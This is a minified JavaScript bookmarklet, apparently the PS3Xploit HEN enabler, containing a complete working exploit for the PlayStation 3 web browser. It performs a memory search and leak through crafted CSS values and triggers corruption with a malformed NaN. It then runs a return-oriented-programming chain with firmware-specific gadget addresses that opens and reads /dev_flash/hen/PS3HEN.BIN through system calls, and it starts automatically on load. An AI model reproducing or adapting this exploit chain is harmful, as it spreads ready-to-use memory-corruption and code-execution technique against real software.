javascript:window.resizeTo(1920,1080);eval('var xtra_data,stack_frame,jump_2,jump_1,xtra_data_addr,stack_frame_addr,jump_2_addr,jump_1_addr,index_key="DA7D4B5E499A4F53B1C1A14A7484443B",start_x="xxxx",offset_array=[],t_out=0,ps3xploit_ecdsa_key_addr=0,index_key_addr=0,search_max_threshold=73400320,search_base=2148532224,mbytes=1048576,search_size=2*mbytes,search_base_off=0,search_size_ext=0,gtemp_addr=2365587456,total_loops=0,max_loops=20,frame_fails=0,sp_exit=2413354176,ffs=4294967295,dbyte41=16705,dbyte00=0,byte_size=1,hword_size=2,word_size=4,dword_size=8,stat_size_offset=40,toc_addr=7296336,gadget1_addr=620036,gadget8_addr=131072,gmod1_addr=6352696,gmod2_addr=80756,gmod3_addr=757248,gmod4a_addr=890500,gmod7_addr=108204,gmod8_addr=2862264,gmod4b_addr=4376440,gmod4c_addr=346864,gmod15_addr=3788856,gmod12_addr=6500700,gmod9_addr=68384,ua=navigator.userAgent,fwv=ua.substring(ua.indexOf("5.0 (")+19,ua.indexOf(") Apple")),fail_msg_frag="HEN Exploit initialization failed!",fsopen=801,fsread=802,fswrite=803,fsclose=804,fsstat=808;"4.87"===fwv&&(toc_addr=7296344,gadget1_addr=620036,gadget8_addr=131072,gmod1_addr=6352856,gmod2_addr=80756,gmod3_addr=757248,gmod4a_addr=890500,gmod4b_addr=4376440,gmod4c_addr=346864,gmod7_addr=108204,gmod8_addr=2862264,gmod9_addr=68384,gmod12_addr=6500860,gmod15_addr=3788856);function show(a){document.getElementById("result").innerHTML=a}function scall_r3r5_p2p(a,b,c,d,e,f,g,k,l,h){null===h&&(h=gtemp_addr);return hdw(gmod2_addr)+fill16(96,dbyte41)+hdw(gtemp_addr)+fill16(16,dbyte41)+hdw(gmod1_addr)+fill16(80,dbyte41)+fill4(12,dbyte41)+hw(a)+hw(l)+hw(g)+hw(f)+hw(e)+fill4(4,dbyte41)+hw(c)+fill4(4,dbyte41)+hw(k)+fill16(16,dbyte41)+hdw(d-4)+hdw(gtemp_addr)+fill8(24,dbyte41)+hdw(gmod4c_addr)+fill16(176,dbyte41)+hdw(b)+fill16(16,dbyte41)+hdw(gmod4b_addr)+fill16(96,dbyte41)+hdw(h)+hdw(sp_exit)+fill8(8,dbyte41)}function load_r3_word_from_ptr_32(a,b,c,d,e,f,g){return hdw(gmod3_addr)+fill16(96,dbyte41)+hdw(gtemp_addr)+hdw(a-8)+hdw(gtemp_addr)+fill16(16,dbyte41)+hdw(gmod15_addr)+fill16(80,dbyte41)+fill8(8,dbyte41)+hdw(b)+hdw(c)+hdw(d)+hdw(e)+hdw(f)+hdw(g)+hdw(sp_exit)+fill8(8,dbyte41)}function h2b(a){return String.fromCharCode(a)}function hw(a){return String.fromCharCode(a\76\7616)+String.fromCharCode(a)}function hdw(a){return hw(0)+hw(a)}String.prototype.toHex16=function(){return("0000"+this).substr(-4)};String.prototype.toAscii=function(a){for(var b="",c=0;c\74this.length;)b=!0===a?b+this.charCodeAt(c).toString(16).toHex16():b+this.charCodeAt(c).toString(16),c+=1;return b};String.prototype.convert=function(a){if(1\76this.length)return"";var b=0,c=[];for(a=!0===a?this:this.toAscii();0!==a.length%4;)a+="00";for("00"!==a.substr(a.length-3,2)&&(a+="0000");b\74a.length;){var d=a.substr(b,4);c.push(String.fromCharCode(parseInt(d,16)));b+=4}return c.join("")};String.prototype.convertedSize=function(a){if(1\76this.length)return 0;for(a=!0===a?this:this.toAscii();0!==a.length%4;)a+="00";"00"!==a.substr(a.length-3,2)&&(a+="0000");return a.length/2};String.prototype.replaceAt=function(a,b){return this.substr(0,a)+b+this.substr(a+b.length)};String.prototype.repeat=function(a){return Array(a+1).join(this)};Number.prototype.noExponents=function(){var a=String(this).split(/[eE]/);if(1===a.length)return a[0];var b="",c=0\76this?"-":"",d=a[0].replace(".","");a=Number(a[1])+1;if(0\76a){for(b=c+"0.";a++;)b+="0";return b+d.replace(/^-/,"")}for(a-=d.length;a--;)b+="0";return d+b};function fromIEEE754(a,b,c){var d=[],e,f;for(e=a.length;e;--e){var g=a[e-1];for(f=8;f;--f)d.push(g%2?1:0),g\76\76=1}d.reverse();f=d.join("");a=(1\74\74b-1)-1;d=parseInt(f.substring(0,1),2)?-1:1;e=parseInt(f.substring(1,1+b),2);f=parseInt(f.substring(1+b),2);return(e===(1\74\74b)-1?0!==f?NaN:Infinity*d:0\74e?d*Math.pow(2,e-a)*(1+f/Math.pow(2,c)):0!==f?f/Math.pow(2,c)*Math.pow(2,-(a-1))*d:0*d).noExponents()}function generateIEEE754(a,b){return fromIEEE754([a\76\7624&255,a\76\7616&255,a\76\768&255,a&255,b\76\7624&255,b\76\7616&255,b\76\768&255,b&255],11,52)}function generateExploit(a,b){return generateIEEE754(a,(a\74\7432|(b\76\761)-1)-a)}function rmem(a,b){document.getElementById("exploit")&&(document.getElementById("exploit").style.src="local("+generateExploit(a,b)+")")}function cmem(a,b,c){if(document.getElementById("exploit"))return rmem(a,b),document.getElementById("exploit").style.src.substr(6,c)}function trigger(a){document.getElementById("trigger")&&(document.getElementById("trigger").innerHTML=-parseFloat("NAN(ffffe"+a.toString(16)+")"))}function lc1(){total_loops\74max_loops?t_out=setTimeout(initROP,500,!1):(total_loops=0,show(fail_msg_frag),t_out=0)}function lc2(){total_loops\74max_loops?t_out=setTimeout(initROP2,500,!1):(total_loops=0,show(fail_msg_frag),2,t_out=0)}function findJsVariableOffset(a,b,c,d){rmem(c,d);a=document.getElementById("exploit").style.src.substr(6,d);d=0;for(var e,f;d\742*a.length;){if(a.charCodeAt(d/2)===b.charCodeAt(0)){for(e=f=0;e\742*b.length&&a.charCodeAt((d+e)/2)===b.charCodeAt(e/2);e+=2)f+=1;if(f===b.length){c=c+d+4;for(b=0;b\74offset_array.length;b+=1)if(offset_array[b]===c)return-1;offset_array.push(c);return c}}d+=16}return 0}function memcpy(a,b,c){return callsub(gadget8_addr,a,b,c,0,0,0,0,0,0,112)}function stack_frame_hookup(){return unescape("\u4141\u2a2f")+hw(gadget1_addr)+hw(toc_addr)+fill16(32,dbyte41)+hdw(toc_addr)+fill16(112,dbyte41)}function scall(a,b,c,d,e,f,g,k,l,h){null===h&&(h=gtemp_addr);return hdw(gmod2_addr)+fill16(96,dbyte41)+hdw(gtemp_addr)+fill16(16,dbyte41)+hdw(gmod1_addr)+fill16(80,dbyte41)+fill4(12,dbyte41)+hw(a)+hw(l)+hw(g)+hw(f)+hw(e)+hw(d)+hw(c)+fill4(4,dbyte41)+hw(k)+fill16(32,dbyte41)+hdw(b)+fill16(16,dbyte41)+hdw(gmod2_addr)+fill16(96,dbyte41)+hdw(gtemp_addr)+fill16(16,dbyte41)+hdw(gmod4a_addr)+fill16(96,dbyte41)+hdw(h)+hdw(sp_exit)+fill8(8,dbyte41)}function callsub(a,b,c,d,e,f,g,k,l,h,p,m,n){null===n&&(n=gtemp_addr);null===m&&(m=gtemp_addr);return hdw(gmod2_addr)+fill16(96,dbyte41)+hdw(gtemp_addr)+fill16(16,dbyte41)+hdw(gmod1_addr)+fill16(80,dbyte41)+fill4(12,dbyte41)+hw(h)+hw(l)+hw(g)+hw(f)+hw(e)+hw(d)+hw(c)+fill4(4,dbyte41)+hw(k)+fill16(32,dbyte41)+hdw(b)+fill16(16,dbyte41)+hdw(gmod2_addr)+fill16(96,dbyte41)+hdw(m)+fill16(16,dbyte41)+hdw(a)+fill16(p-32,dbyte00)+hdw(n)+hdw(sp_exit)+fill8(8,dbyte41)}function fillNbytes(a,b,c){var d="",e=0;for(b=h2b(b);e\74a/c;)d+=b.repeat(c/2),e++;return d}function fill4(a,b){return fillNbytes(a,b,4)}function fill8(a,b){return fillNbytes(a,b,8)}function fill16(a,b){return fillNbytes(a,b,16)}function strncmp(a,b,c){a=a.substring(0,c);b=b.substring(0,c);return a==b?0:a\76b?1:-1}function rop_exit_hen(a){a=cmem(2315255808,16,3);a=a.toAscii(!0);0!=strncmp("53434500",a,4)?(show("Failed! Rebooting!"),initROP2(!0)):window.close()}function initROP2(a){try{!0===a&&(total_loops=search_size_ext=search_base_off=frame_fails=0);0!==t_out&&(clearTimeout(t_out),t_out=0);offset_array=[];jump_1_addr=jump_2_addr=stack_frame_addr=0;search_max_threshold=73400320;search_base=2148532224;search_size=2*mbytes;search_base_off=0*mbytes;search_size_ext=0*mbytes;total_loops++;for(stack_frame=stack_frame_hookup()+stack_frame_swap(2315649024);0===stack_frame_addr;){if(search_max_threshold\74search_size+search_size_ext){frame_fails++;0===frame_fails%10&&(search_base_off+=0,search_size_ext+=0);lc2();return}stack_frame=stack_frame.replaceAt(0,h2b(10799));stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext);if(-1==stack_frame_addr&&search_max_threshold\74search_size+search_size_ext){frame_fails++;lc2();return}search_max_threshold-=search_size+search_size_ext}for(jump_2=unescape("\u0102\u7efb")+fill16(48,33410)+hw(stack_frame_addr)+unescape("\ufb7e");0===jump_2_addr;){if(search_max_threshold\74search_size){lc2();return}jump_2=jump_2.replaceAt(0,h2b(32507));jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size);if(-1==jump_2_addr&&search_max_threshold\74search_size){lc2();return}search_max_threshold-=search_size}for(jump_1=unescape("\u4141\u7efa")+hw(jump_2_addr)+unescape("\ufa7e");0===jump_1_addr;){if(search_max_threshold\74search_size){lc2();return}jump_1=jump_1.replaceAt(0,h2b(32506));jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size);if(-1==jump_1_addr&&search_max_threshold\74search_size){lc2();return}search_max_threshold-=search_size}var b=cmem(stack_frame_addr-4,32768,stack_frame.length),c=cmem(jump_2_addr-4,4096,jump_2.length),d=cmem(jump_1_addr-4,4096,jump_1.length);c===jump_2&&d===jump_1&&b===stack_frame?(0!==t_out&&clearTimeout(t_out),setTimeout(trigger,1E3,jump_1_addr)):lc2()}catch(e){show("HEN installation failed because the following exception was thrown during execution: "+e+" at: "+e.lineNumber)}}function initROP(a){try{!0===a&&(search_size_ext=search_base_off=frame_fails=0);0!==t_out&&(clearTimeout(t_out),t_out=0);offset_array=[];jump_1_addr=jump_2_addr=stack_frame_addr=xtra_data_addr=0;search_max_threshold=73400320;search_base=2148532224;search_size=2*mbytes;search_base_off=0*mbytes;search_size_ext=0*mbytes;total_loops++;for(xtra_data=start_x.convert()+"/dev_flash/hen/PS3HEN.BIN".convert()+index_key.convert(!0)+unescape("\ufd7e");0===xtra_data_addr;){if(search_max_threshold\74search_size){lc1();return}xtra_data=xtra_data.replaceAt(0,h2b(32509));xtra_data_addr=findJsVariableOffset("xtra_data",xtra_data,search_base,search_size);search_max_threshold-=search_size}var b=xtra_data_addr+start_x.convertedSize()-4;index_key_addr=b+"/dev_flash/hen/PS3HEN.BIN".convertedSize();for(stack_frame=stack_frame_hookup()+scall(801,b,0,2382364672,0,0,0,0,0)+scall_r3r5_p2p(802,2382364672,2315255808,3145728,2382364680,0,0,0,0,0,0)+stack_frame_swap(2315255808);0===stack_frame_addr;){if(search_max_threshold\74search_size+search_size_ext){frame_fails++;0===frame_fails%10&&(search_base_off+=0,search_size_ext+=0);lc1();return}stack_frame=stack_frame.replaceAt(0,h2b(10799));stack_frame_addr=findJsVariableOffset("stack_frame",stack_frame,search_base+search_base_off,search_size+search_size_ext);if(-1==stack_frame_addr&&search_max_threshold\74search_size+search_size_ext){frame_fails++;lc1();return}search_max_threshold-=search_size+search_size_ext}for(jump_2=unescape("\u0102\u7efb")+fill16(48,33410)+hw(stack_frame_addr)+unescape("\ufb7e");0===jump_2_addr;){if(search_max_threshold\74search_size){lc1();return}jump_2=jump_2.replaceAt(0,h2b(32507));jump_2_addr=findJsVariableOffset("jump_2",jump_2,search_base,search_size);if(-1==jump_2_addr&&search_max_threshold\74search_size){lc1();return}search_max_threshold-=search_size}for(jump_1=unescape("\u4141\u7efa")+hw(jump_2_addr)+unescape("\ufa7e");0===jump_1_addr;){if(search_max_threshold\74search_size){lc1();return}jump_1=jump_1.replaceAt(0,h2b(32506));jump_1_addr=findJsVariableOffset("jump_1",jump_1,search_base,search_size);if(-1==jump_1_addr&&search_max_threshold\74search_size){lc1();return}search_max_threshold-=search_size}var c=cmem(stack_frame_addr-4,32768,stack_frame.length),d=cmem(xtra_data_addr-4,4096,xtra_data.length),e=cmem(jump_2_addr-4,4096,jump_2.length),f=cmem(jump_1_addr-4,4096,jump_1.length);e===jump_2&&f===jump_1&&d===xtra_data&&c===stack_frame?(0!==t_out&&clearTimeout(t_out),triggerX()):lc1()}catch(g){show("HEN installation failed because the following exception was thrown during execution: "+g+" at: "+g.lineNumber)}}function stack_frame_swap(a){return hdw(gmod2_addr)+fill16(96,dbyte41)+hdw(gtemp_addr)+hdw(a)+fill8(8,dbyte41)+hdw(gmod9_addr)}function triggerX(){setTimeout(trigger,1E3,jump_1_addr);setTimeout(rop_exit_hen,4500,"HEN Failed!");total_loops=t_out=0}document.write(\47\74html\76\74head\76\74title\76PS3Xploit - HEN Enabler\74/title\76\74style\76html{left:100%;overflow:hidden;position:relative}input{opacity:0;position:relative;left:-100%}#a{display:table;height:100%;left:-100%;position:relative;width:100%;text-align:center}#b{display:table-cell;vertical-align:middle;width:100%}#result{font-size:20px;font-weight:bold;color:#fff;padding-top:16px}#dot{-webkit-border-radius:180px;background-color:rgba(255,255,255,0.4);width:160px;height:160px;position:relative;display:inline-block}#dot::before,#dot::after{-webkit-border-radius:180px;content:"";width:188px;height:188px;position:absolute;left:-20px;top:-20px;z-index:-1;border:6px solid rgba(255,255,255,0.4);background-color:transparent}#dot::after{width:176px;height:176px;left:-11px;top:-11px;border:3px solid rgba(255,255,255,0.4)}#c{margin-top:62px;left:16px;position:relative}#c div{-webkit-border-radius:8px;position:absolute;background:#fff}#c div:nth-child(1), #c div:nth-child(3), #c div:nth-child(6), #c div:nth-child(8){width:10px;height:40px}#c div:nth-child(2){height:10px;width:24px;left:12px;top:15px}#c div:nth-child(3){left:32px}#c div:nth-child(4){-webkit-border-radius:40px;width:26px;height:26px;left:48px;border:8px solid #fff;background-color:transparent;border-right-color:transparent}#c div:nth-child(5), #c div:nth-child(7){left:100px;top:8px;background-color:transparent;font-size:26px;font-weight:bolder;text-shadow:0px 4px #fff;color:#fff;letter-spacing:-24px}#c div:nth-child(5){left:60px;top:4px;font-size:20px;text-shadow:3px 0px #fff}#c div:nth-child(6){left:88px}#c div:nth-child(8){left:120px}\74/style\76\74/head\76\74body\76\74div id="exploit"\76\74/div\76\74div id="trigger"\76\74/div\76 \74input type="radio" autofocus /\76\74div id="a"\76\74div id="b"\76\74div id="dot"\76\74div id="c"\76\74div\76\74/div\76\74div\76\74/div\76\74div\76\74/div\76\74div\76\74/div\76\74div\76\u2571\74/div\76\74div\76\74/div\76\74div\76\u2572\u2572\74/div\76\74div\76\74/div\76\74/div\76\74/div\76\74div id="result"\76\74/div\76\74/div\76\74/div\76\74/body\76\74/html\76\47);setTimeout(function(){initROP(!0)},0);')
